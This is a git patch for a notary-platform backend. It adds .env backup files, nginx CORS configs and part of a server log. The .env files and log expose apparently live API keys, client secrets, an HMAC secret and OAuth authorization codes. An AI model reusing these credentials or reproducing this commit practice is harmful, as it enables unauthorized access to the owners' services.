From efe9dbde1b14547d12f82c5b587d3307c306ddc0 Mon Sep 17 00:00:00 2001 From: NicolasCantu Date: Wed, 24 Sep 2025 12:18:09 +0200 Subject: [PATCH] IA align --- .env.backup | 48 + .env.backup2 | 58 + .env.bak | 57 + .env.bak.1758708401 | 63 + confs/nginx/dev3.4nkweb.com.conf | 64 +- confs/nginx/dev3.4nkweb.com.fixed.conf | 176 + confs/nginx/dev3.4nkweb.com.fixed.conf.b64 | 45 + logs/backend.out | 9813 ++++++++++++++++++++ src/config/index.ts | 61 +- src/controllers/idnot.controller.ts | 53 +- src/handlers/idnot-callback.handlers.ts | 55 + src/handlers/idnot.handlers.ts | 50 +- src/handlers/state.handlers.ts | 24 + src/routes/idnot.routes.ts | 2 +- src/routes/index.ts | 6 + src/routes/index.ts.bak | 23 + src/services/idnot/index.ts | 15 + src/services/state.service.ts | 119 + 18 files changed, 10676 insertions(+), 56 deletions(-) create mode 100644 .env.backup create mode 100644 .env.backup2 create mode 100644 .env.bak create mode 100644 .env.bak.1758708401 create mode 100644 confs/nginx/dev3.4nkweb.com.fixed.conf create mode 100644 confs/nginx/dev3.4nkweb.com.fixed.conf.b64 create mode 100644 logs/backend.out create mode 100644 src/handlers/idnot-callback.handlers.ts create mode 100644 src/handlers/state.handlers.ts create mode 100644 src/routes/index.ts.bak create mode 100644 src/services/state.service.ts diff --git a/.env.backup b/.env.backup new file mode 100644 index 0000000..e93951e --- /dev/null +++ b/.env.backup @@ -0,0 +1,48 @@ +# Configuration OVH +OVH_APP_KEY=5ab0709bbb65ef26 +OVH_APP_SECRET=de1fac1779d707d263a611a557cd5766 +OVH_CONSUMER_KEY=5fe817829b8a9c780cfa2354f8312ece +OVH_SMS_SERVICE_NAME=sms-tt802880-1 + +# Configuration SMS Factor +SMS_FACTOR_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4NzgzNiIsImlhdCI6MTcwMTMzOTY1Mi45NDUzOH0.GNoqLb5MDBWuniNlQjbr1PKolwxGqBZe_tf4IMObvHw + +#Configuration Mailchimp +MAILCHIMP_API_KEY=md-VVfaml-ApIV4nsGgaJKl0A +MAILCHIMP_KEY=3fa54304bc766dfd0b8043a827b28a3a-us17 +MAILCHIMP_LIST_ID=a48d9ad852 + +#Configuration Stripe +STRIPE_SECRET_KEY=sk_test_51OwKmMP5xh1u9BqSeFpqw0Yr15hHtFsh0pvRGaE0VERhlYtvw33ND1qiGA6Dy1DPmmV61B6BqIimlhuv7bwElhjF00PLQwD60n +STRIPE_WEBHOOK_SECRET= +STRIPE_STANDARD_SUBSCRIPTION_PRICE_ID=price_1P66fuP5xh1u9BqSHj0O6Uy3 +STRIPE_STANDARD_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NsRP5xh1u9BqSFgkUDbQY +STRIPE_UNLIMITED_SUBSCRIPTION_PRICE_ID=price_1P66RqP5xh1u9BqSuUzkQNac +STRIPE_UNLIMITED_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NpKP5xh1u9BqSApFogvUB + +# Configuration serveur +APP_HOST=https://demo.4nkweb.com +PORT= + +# Configuration front-end +NEXT_PUBLIC_4NK_URL=https://demo.4nkweb.com +NEXT_PUBLIC_FRONT_APP_HOST=https://demo.4nkweb.com +NEXT_PUBLIC_IDNOT_BASE_URL=https://qual-connexion.idnot.fr +NEXT_PUBLIC_IDNOT_AUTHORIZE_ENDPOINT=/IdPOAuth2/authorize/idnot_idp_v1 +NEXT_PUBLIC_IDNOT_CLIENT_ID=4501646203F3EF67 +NEXT_PUBLIC_BACK_API_PROTOCOL=http +NEXT_PUBLIC_BACK_API_HOST=localhost +BACK_API_PORT=8081 +BACK_API_ROOT_URL=/api +BACK_API_VERSION=/v1 + +# Configuration idnot +IDNOT_ANNUARY_BASE_URL='https://qual-api.notaires.fr/annuaire' +IDNOT_API_KEY='ba557f84-0bf6-4dbf-844f-df2767555e3e' + +# Configuration PostgreSQL +DB_HOST= +DB_PORT= +DB_NAME= +DB_USER= +DB_PASSWORD= diff --git a/.env.backup2 b/.env.backup2 new file mode 100644 index 0000000..b3460b3 --- /dev/null +++ b/.env.backup2 @@ -0,0 +1,58 @@ +# Configuration OVH +OVH_APP_KEY=5ab0709bbb65ef26 +OVH_APP_SECRET=de1fac1779d707d263a611a557cd5766 +OVH_CONSUMER_KEY=5fe817829b8a9c780cfa2354f8312ece +OVH_SMS_SERVICE_NAME=sms-tt802880-1 + +# Configuration SMS Factor +SMS_FACTOR_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4NzgzNiIsImlhdCI6MTcwMTMzOTY1Mi45NDUzOH0.GNoqLb5MDBWuniNlQjbr1PKolwxGqBZe_tf4IMObvHw + +#Configuration Mailchimp +MAILCHIMP_API_KEY=md-VVfaml-ApIV4nsGgaJKl0A +MAILCHIMP_KEY=3fa54304bc766dfd0b8043a827b28a3a-us17 +MAILCHIMP_LIST_ID=a48d9ad852 + +#Configuration Stripe +STRIPE_SECRET_KEY=sk_test_51OwKmMP5xh1u9BqSeFpqw0Yr15hHtFsh0pvRGaE0VERhlYtvw33ND1qiGA6Dy1DPmmV61B6BqIimlhuv7bwElhjF00PLQwD60n +STRIPE_WEBHOOK_SECRET= +STRIPE_STANDARD_SUBSCRIPTION_PRICE_ID=price_1P66fuP5xh1u9BqSHj0O6Uy3 +STRIPE_STANDARD_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NsRP5xh1u9BqSFgkUDbQY +STRIPE_UNLIMITED_SUBSCRIPTION_PRICE_ID=price_1P66RqP5xh1u9BqSuUzkQNac +STRIPE_UNLIMITED_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NpKP5xh1u9BqSApFogvUB + +# Configuration serveur +APP_HOST=https://demo.4nkweb.com +PORT= + +# Configuration front-end +NEXT_PUBLIC_4NK_URL=https://demo.4nkweb.com +NEXT_PUBLIC_FRONT_APP_HOST=https://demo.4nkweb.com +NEXT_PUBLIC_IDNOT_BASE_URL=https://qual-connexion.idnot.fr +NEXT_PUBLIC_IDNOT_AUTHORIZE_ENDPOINT=/IdPOAuth2/authorize/idnot_idp_v1 +NEXT_PUBLIC_IDNOT_CLIENT_ID=4501646203F3EF67 +NEXT_PUBLIC_BACK_API_PROTOCOL=http +NEXT_PUBLIC_BACK_API_HOST=localhost +BACK_API_PORT=8081 +BACK_API_ROOT_URL=/api +BACK_API_VERSION=/v1 + +# Configuration idnot +IDNOT_ANNUARY_BASE_URL='https://qual-api.notaires.fr/annuaire' +IDNOT_API_KEY='ba557f84-0bf6-4dbf-844f-df2767555e3e' + +# Configuration PostgreSQL +DB_HOST= +DB_PORT= +DB_NAME= +DB_USER= +DB_PASSWORD= + +# Variables IdNot manquantes pour l'authentification +IDNOT_API_BASE_URL='https://qual-api.notaires.fr' +IDNOT_REDIRECT_URI='https://dev4.4nkweb.com/lecoffre/authorized-client' +IDNOT_TOKEN_URL='https://qual-connexion.idnot.fr/IdPOAuth2/token/idnot_idp_v1' + +IDNOT_API_KEY=ba557f84-0bf6-4dbf-844f-df2767555e3e +IDNOT_CLIENT_ID=B3CE56353EDB15A9 +IDNOT_CLIENT_SECRET=3F733549E879878344B6C949B366BB5CDBB2DB5B7F7AB7EBBEBB0F0DD0776D1C +NEXT_PUBLIC_IDNOT_CLIENT_ID=B3CE56353EDB15A9 diff --git a/.env.bak b/.env.bak new file mode 100644 index 0000000..b94c5aa --- /dev/null +++ b/.env.bak @@ -0,0 +1,57 @@ +# Configuration OVH +OVH_APP_KEY=5ab0709bbb65ef26 +OVH_APP_SECRET=de1fac1779d707d263a611a557cd5766 +OVH_CONSUMER_KEY=5fe817829b8a9c780cfa2354f8312ece +OVH_SMS_SERVICE_NAME=sms-tt802880-1 + +# Configuration SMS Factor +SMS_FACTOR_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4NzgzNiIsImlhdCI6MTcwMTMzOTY1Mi45NDUzOH0.GNoqLb5MDBWuniNlQjbr1PKolwxGqBZe_tf4IMObvHw + +#Configuration Mailchimp +MAILCHIMP_API_KEY=md-VVfaml-ApIV4nsGgaJKl0A +MAILCHIMP_KEY=3fa54304bc766dfd0b8043a827b28a3a-us17 +MAILCHIMP_LIST_ID=a48d9ad852 + +#Configuration Stripe +STRIPE_SECRET_KEY=sk_test_51OwKmMP5xh1u9BqSeFpqw0Yr15hHtFsh0pvRGaE0VERhlYtvw33ND1qiGA6Dy1DPmmV61B6BqIimlhuv7bwElhjF00PLQwD60n +STRIPE_WEBHOOK_SECRET= +STRIPE_STANDARD_SUBSCRIPTION_PRICE_ID=price_1P66fuP5xh1u9BqSHj0O6Uy3 +STRIPE_STANDARD_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NsRP5xh1u9BqSFgkUDbQY +STRIPE_UNLIMITED_SUBSCRIPTION_PRICE_ID=price_1P66RqP5xh1u9BqSuUzkQNac +STRIPE_UNLIMITED_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NpKP5xh1u9BqSApFogvUB + +# Configuration serveur +APP_HOST=https://demo.4nkweb.com +PORT= + +# Configuration front-end +NEXT_PUBLIC_4NK_URL=https://demo.4nkweb.com +NEXT_PUBLIC_FRONT_APP_HOST=https://demo.4nkweb.com +NEXT_PUBLIC_IDNOT_BASE_URL=https://qual-connexion.idnot.fr +NEXT_PUBLIC_IDNOT_AUTHORIZE_ENDPOINT=/IdPOAuth2/authorize/idnot_idp_v1 +NEXT_PUBLIC_BACK_API_PROTOCOL=http +NEXT_PUBLIC_BACK_API_HOST=localhost +BACK_API_PORT=8081 +BACK_API_ROOT_URL=/api +BACK_API_VERSION=/v1 + +# Configuration idnot +IDNOT_ANNUARY_BASE_URL='https://qual-api.notaires.fr/annuaire' +IDNOT_API_KEY='ba557f84-0bf6-4dbf-844f-df2767555e3e' + +# Configuration PostgreSQL +DB_HOST= +DB_PORT= +DB_NAME= +DB_USER= +DB_PASSWORD= + +# Variables IdNot manquantes pour l'authentification +IDNOT_API_BASE_URL='https://qual-api.notaires.fr' +IDNOT_REDIRECT_URI='https://lecoffreio.4nkweb.com/authorized-client' +IDNOT_TOKEN_URL='https://qual-connexion.idnot.fr/user/IdPOAuth2/token/idnot_idp_v1' + +IDNOT_API_KEY=ba557f84-0bf6-4dbf-844f-df2767555e3e +IDNOT_CLIENT_ID=B3CE56353EDB15A9 +IDNOT_CLIENT_SECRET=3F733549E879878344B6C949B366BB5CDBB2DB5B7F7AB7EBBEBB0F0DD0776D1C +NEXT_PUBLIC_IDNOT_CLIENT_ID=B3CE56353EDB15A9 diff --git a/.env.bak.1758708401 b/.env.bak.1758708401 new file mode 100644 index 0000000..17914c7 --- /dev/null +++ b/.env.bak.1758708401 @@ -0,0 +1,63 @@ +# Configuration OVH +OVH_APP_KEY=5ab0709bbb65ef26 +OVH_APP_SECRET=de1fac1779d707d263a611a557cd5766 +OVH_CONSUMER_KEY=5fe817829b8a9c780cfa2354f8312ece +OVH_SMS_SERVICE_NAME=sms-tt802880-1 + +# Configuration SMS Factor +SMS_FACTOR_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4NzgzNiIsImlhdCI6MTcwMTMzOTY1Mi45NDUzOH0.GNoqLb5MDBWuniNlQjbr1PKolwxGqBZe_tf4IMObvHw + +#Configuration Mailchimp +MAILCHIMP_API_KEY=md-VVfaml-ApIV4nsGgaJKl0A +MAILCHIMP_KEY=3fa54304bc766dfd0b8043a827b28a3a-us17 +MAILCHIMP_LIST_ID=a48d9ad852 + +#Configuration Stripe +STRIPE_SECRET_KEY=sk_test_51OwKmMP5xh1u9BqSeFpqw0Yr15hHtFsh0pvRGaE0VERhlYtvw33ND1qiGA6Dy1DPmmV61B6BqIimlhuv7bwElhjF00PLQwD60n +STRIPE_WEBHOOK_SECRET= +STRIPE_STANDARD_SUBSCRIPTION_PRICE_ID=price_1P66fuP5xh1u9BqSHj0O6Uy3 +STRIPE_STANDARD_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NsRP5xh1u9BqSFgkUDbQY +STRIPE_UNLIMITED_SUBSCRIPTION_PRICE_ID=price_1P66RqP5xh1u9BqSuUzkQNac +STRIPE_UNLIMITED_ANNUAL_SUBSCRIPTION_PRICE_ID=price_1P9NpKP5xh1u9BqSApFogvUB + +# Configuration serveur +APP_HOST=https://demo.4nkweb.com +PORT= + +# Configuration front-end +NEXT_PUBLIC_4NK_URL=https://demo.4nkweb.com +NEXT_PUBLIC_FRONT_APP_HOST=https://demo.4nkweb.com +NEXT_PUBLIC_IDNOT_BASE_URL=https://qual-connexion.idnot.fr +NEXT_PUBLIC_IDNOT_AUTHORIZE_ENDPOINT=/IdPOAuth2/authorize/idnot_idp_v1 +NEXT_PUBLIC_BACK_API_PROTOCOL=http +NEXT_PUBLIC_BACK_API_HOST=localhost +BACK_API_PORT=8081 +BACK_API_ROOT_URL=/api +BACK_API_VERSION=/v1 + +# Configuration idnot +IDNOT_ANNUARY_BASE_URL='https://qual-api.notaires.fr/annuaire' +IDNOT_API_KEY='ba557f84-0bf6-4dbf-844f-df2767555e3e' + +# Configuration PostgreSQL +DB_HOST= +DB_PORT= +DB_NAME= +DB_USER= +DB_PASSWORD= + +# Variables IdNot manquantes pour l'authentification +IDNOT_API_BASE_URL='https://qual-api.notaires.fr' +IDNOT_REDIRECT_URI='https://lecoffreio.4nkweb.com/authorized-client' +IDNOT_TOKEN_URL='https://qual-connexion.idnot.fr/user/IdPOAuth2/token/idnot_idp_v1' + +IDNOT_API_KEY=ba557f84-0bf6-4dbf-844f-df2767555e3e +IDNOT_CLIENT_ID=B3CE56353EDB15A9 +IDNOT_CLIENT_SECRET=3F733549E879878344B6C949B366BB5CDBB2DB5B7F7AB7EBBEBB0F0DD0776D1C +NEXT_PUBLIC_IDNOT_CLIENT_ID=B3CE56353EDB15A9 +STATE_TTL_SECONDS=180 +ALLOW_LOCALHOST_REDIRECTS=true +ALLOWED_REDIRECT_HOST_PATTERNS=^lecoffreio.4nkweb.com$ + +BACK_HMAC_SECRET=7e0f4a8b7c9d3e2fb6c1a5d4e8f09b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f70 + diff --git a/confs/nginx/dev3.4nkweb.com.conf b/confs/nginx/dev3.4nkweb.com.conf index 23c26b4..269884f 100644 --- a/confs/nginx/dev3.4nkweb.com.conf +++ b/confs/nginx/dev3.4nkweb.com.conf @@ -1,7 +1,38 @@ server { listen 443 ssl; server_name dev3.4nkweb.com; + + # Callback IdNot -> backend, avec CORS dynamique et masquage des en-têtes upstream location = /idnot/callback { + # Masquer les en-têtes CORS envoyés par l'upstream (Express) + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Credentials; + proxy_hide_header Access-Control-Allow-Headers; + proxy_hide_header Access-Control-Allow-Methods; + + # CORS dynamique: autorise dev4, lecoffreio.4nkweb.com, localhost:3000 et sous-domaines *.4nkweb.com + set $cors_origin ""; + if ($http_origin ~* ^(https://dev4\.4nkweb\.com|http://local\.4nkweb\.com:3000|http://localhost:3000|https://.*\.4nkweb\.com)$) { + set $cors_origin $http_origin; + } + + # Préflight OPTIONS + if ($request_method = OPTIONS) { + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + return 204; + } + + # En-têtes CORS pour les autres méthodes + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; @@ -35,7 +66,7 @@ server { proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-NginX-Proxy true; - proxy_read_timeout 86400; + proxy_read_timeout 86400; proxy_set_header Connection "Upgrade"; } @@ -63,6 +94,35 @@ server { } location ^~ /api/ { + # Masquer les en-têtes CORS de l'upstream (Express) + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Credentials; + proxy_hide_header Access-Control-Allow-Headers; + proxy_hide_header Access-Control-Allow-Methods; + + # CORS dynamique: autorise dev4, lecoffreio.4nkweb.com, localhost:3000 et sous-domaines *.4nkweb.com + set $cors_origin ""; + if ($http_origin ~* ^(https://dev4\.4nkweb\.com|http://local\.4nkweb\.com:3000|http://localhost:3000|https://.*\.4nkweb\.com)$) { + set $cors_origin $http_origin; + } + + # Préflight OPTIONS + if ($request_method = OPTIONS) { + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + return 204; + } + + # En-têtes CORS pour les autres méthodes + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; @@ -100,5 +160,3 @@ server { } - - diff --git a/confs/nginx/dev3.4nkweb.com.fixed.conf b/confs/nginx/dev3.4nkweb.com.fixed.conf new file mode 100644 index 0000000..0f3b18f --- /dev/null +++ b/confs/nginx/dev3.4nkweb.com.fixed.conf @@ -0,0 +1,176 @@ +server { + listen 443 ssl; + server_name dev3.4nkweb.com; + location = /idnot/callback { + # Hide upstream CORS headers + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Credentials; + proxy_hide_header Access-Control-Allow-Headers; + proxy_hide_header Access-Control-Allow-Methods; + + # Dynamic CORS allowlist + set $cors_origin ""; + if ($http_origin ~* ^(https://dev4\.4nkweb\.com|http://local\.(4nkweb|4nkdev)\.com:3000|http://localhost:3000|https://.*\.4nkweb\.com)$) { + set $cors_origin $http_origin; + } + + if ($request_method = OPTIONS) { + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + return 204; + } + + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + + proxy_pass http://127.0.0.1:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + ssl_certificate /etc/letsencrypt/live/dev3.4nkweb.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/dev3.4nkweb.com/privkey.pem; + + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers HIGH:!aNULL:!MD5; + # Redirection des requêtes HTTP normales vers Vite + location / { + proxy_pass http://localhost:3004; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + } + + location /ws/ { + proxy_pass http://localhost:8090; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-NginX-Proxy true; + + proxy_read_timeout 86400; + proxy_set_header Connection "Upgrade"; + } + + location /storage/ { + if ($request_method = 'OPTIONS') { + add_header 'Access-Control-Allow-Origin' '*' always; + add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always; + add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Requested-With' always; + add_header 'Access-Control-Max-Age' 86400; + add_header 'Content-Length' 0; + add_header 'Content-Type' 'text/plain'; + return 204; + } + + add_header 'Access-Control-Allow-Origin' '*' always; + add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always; + add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Requested-With' always; + + rewrite ^/storage(/.*)$ $1 break; + proxy_pass http://localhost:8080; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + } + + location ^~ /api/ { + # Hide upstream CORS headers + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Credentials; + proxy_hide_header Access-Control-Allow-Headers; + proxy_hide_header Access-Control-Allow-Methods; + + # Dynamic CORS allowlist + set $cors_origin ""; + if ($http_origin ~* ^(https://dev4\.4nkweb\.com|http://local\.(4nkweb|4nkdev)\.com:3000|http://localhost:3000|https://.*\.4nkweb\.com)$) { + set $cors_origin $http_origin; + } + + if ($request_method = OPTIONS) { + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + return 204; + } + + add_header Access-Control-Allow-Origin $cors_origin always; + add_header Access-Control-Allow-Credentials "true" always; + add_header Access-Control-Allow-Headers "Content-Type, Authorization, x-session-id" always; + add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; + add_header Vary "Origin, Access-Control-Request-Method, Access-Control-Request-Headers" always; + + proxy_pass http://127.0.0.1:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + location @handle_502 { + internal; + add_header Access-Control-Allow-Origin "*" always; + add_header Access-Control-Allow-Methods "GET, POST, OPTIONS, PUT, DELETE" always; + add_header Access-Control-Allow-Headers "Authorization, Content-Type, Accept, X-Requested-With" always; + return 502; + } + +} + +server { + if ($host = dev3.4nkweb.com) { + return 301 https://$host$request_uri; + } # managed by Certbot + + + listen 80; + server_name dev3.4nkweb.com; + location = /idnot/callback { + proxy_pass http://127.0.0.1:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + return 301 https://$host$request_uri; + + +} +server { + if ($host = dev3.4nkweb.com) { + return 301 https://$host$request_uri; + } # managed by Certbot + + + listen 80; + server_name dev3.4nkweb.com; + location = /idnot/callback { + proxy_pass http://127.0.0.1:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + return 301 https://$host$request_uri; + + +} diff --git a/confs/nginx/dev3.4nkweb.com.fixed.conf.b64 b/confs/nginx/dev3.4nkweb.com.fixed.conf.b64 new file mode 100644 index 0000000..22c9003 --- /dev/null +++ b/confs/nginx/dev3.4nkweb.com.fixed.conf.b64 @@ -0,0 +1,45 @@ +server { + listen 443 ssl; + server_name dev3.4nkweb.com; + location = /idnot/callback { + proxy_pass http://127.0.0.1:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + ssl_certificate /etc/letsencrypt/live/dev3.4nkweb.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/dev3.4nkweb.com/privkey.pem; + + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers HIGH:!aNULL:!MD5; + # Redirection des requêtes HTTP normales vers Vite + location / { + proxy_pass http://localhost:3004; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + } + + location /ws/ { + proxy_pass http://localhost:8090; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-NginX-Proxy true; + + proxy_read_timeout 86400; + proxy_set_header Connection "Upgrade"; + } + + location /storage/ { + if ($request_method = OPTIONS) { + add_header Access-Control-Allow-Origin * always; + add_header Access-Control-Allow-Methods GET, diff --git a/logs/backend.out b/logs/backend.out new file mode 100644 index 0000000..8758fb7 --- /dev/null +++ b/logs/backend.out @@ -0,0 +1,9813 @@ +[dotenv@17.2.2] injecting env (42) from .env -- tip: ⚙️ enable debug logging with { debug: true } +ℹ️ [INFO] 2025-09-23T06:59:37.186Z Initializing Signer service +Server started on port 8080 +✅ Connected to SDK Signer server +ℹ️ [INFO] 2025-09-23T06:59:37.199Z Signer connected +ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer connected +ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer service initialized +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:00:02.417Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3i'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610802412_yynntck2i' +} +❌ [ERROR] 2025-09-23T07:00:02.423Z HTTP GET 